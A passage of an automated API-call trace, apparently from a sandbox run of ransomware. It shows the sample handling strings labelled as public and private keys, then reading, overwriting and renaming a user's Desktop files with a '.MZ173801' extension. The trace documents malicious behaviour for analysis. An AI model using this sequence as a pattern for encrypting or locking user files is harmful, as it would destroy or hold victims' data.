6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0177.801] GetCurrentThreadId () returned 0xab4 [0177.801] GetCurrentThreadId () returned 0xab4 [0177.801] GetCurrentThreadId () returned 0xab4 [0177.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0177.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0177.802] GetCurrentThreadId () returned 0xab4 [0177.802] GetCurrentThreadId () returned 0xab4 [0177.802] GetCurrentThreadId () returned 0xab4 [0177.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\nb3RjEHaW-jlbqfMSzr.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\nb3rjehaw-jlbqfmszr.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0177.802] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0177.802] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0177.802] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x964f [0177.802] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0177.803] ReadFile (in: hFile=0x32c, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x964f, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x964f, lpOverlapped=0x0) returned 1 [0177.804] CloseHandle (hObject=0x32c) returned 1 [0177.805] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\nb3RjEHaW-jlbqfMSzr.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\nb3rjehaw-jlbqfmszr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0177.891] WriteFile (in: hFile=0x32c, lpBuffer=0x24aa040*, nNumberOfBytesToWrite=0x964f, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24aa040*, lpNumberOfBytesWritten=0x19f758*=0x964f, lpOverlapped=0x0) returned 1 [0177.894] CloseHandle (hObject=0x32c) returned 1 [0178.035] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\nb3RjEHaW-jlbqfMSzr.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\nb3rjehaw-jlbqfmszr.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\nb3RjEHaW-jlbqfMSzr.gif.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\nb3rjehaw-jlbqfmszr.gif.mz173801")) returned 1 [0178.271] GetCurrentThreadId () returned 0xab4 [0178.271] GetCurrentThreadId () returned 0xab4 [0178.271] GetCurrentThreadId () returned 0xab4 [0178.271] GetCurrentThreadId () returned 0xab4 [0178.271] GetCurrentThreadId () returned 0xab4 [0178.271] GetCurrentThreadId () returned 0xab4 [0178.272] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6551520, ftCreationTime.dwHighDateTime=0x1d5e5b3, ftLastAccessTime.dwLowDateTime=0x2b770690, ftLastAccessTime.dwHighDateTime=0x1d5e0b9, ftLastWriteTime.dwLowDateTime=0x2b770690, ftLastWriteTime.dwHighDateTime=0x1d5e0b9, nFileSizeHigh=0x0, nFileSizeLow=0x1789b, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="oeJFddiIwMX1RoB4tjS.csv", cAlternateFileName="OEJFDD~1.CSV")) returned 1 [0178.272] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0178.272] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0178.272] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\oeJFddiIwMX1RoB4tjS.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\oejfddiiwmx1rob4tjs.csv"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6551520, ftCreationTime.dwHighDateTime=0x1d5e5b3, ftLastAccessTime.dwLowDateTime=0x2b770690, ftLastAccessTime.dwHighDateTime=0x1d5e0b9, ftLastWriteTime.dwLowDateTime=0x2b770690, ftLastWriteTime.dwHighDateTime=0x1d5e0b9, nFileSizeHigh=0x0, nFileSizeLow=0x1789b)) returned 1 [0178.611] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\oeJFddiIwMX1RoB4tjS.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\oejfddiiwmx1rob4tjs.csv")) returned 0x20 [0178.611] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\oeJFddiIwMX1RoB4tjS.csv", dwFileAttributes=0x80) returned 1 [0178.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0178.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0178.691] GetCurrentThreadId () returned 0xab4 [0178.691] GetCurrentThreadId () returned 0xab4 [0178.691] GetCurrentThreadId () returned 0xab4 [0178.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0178.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 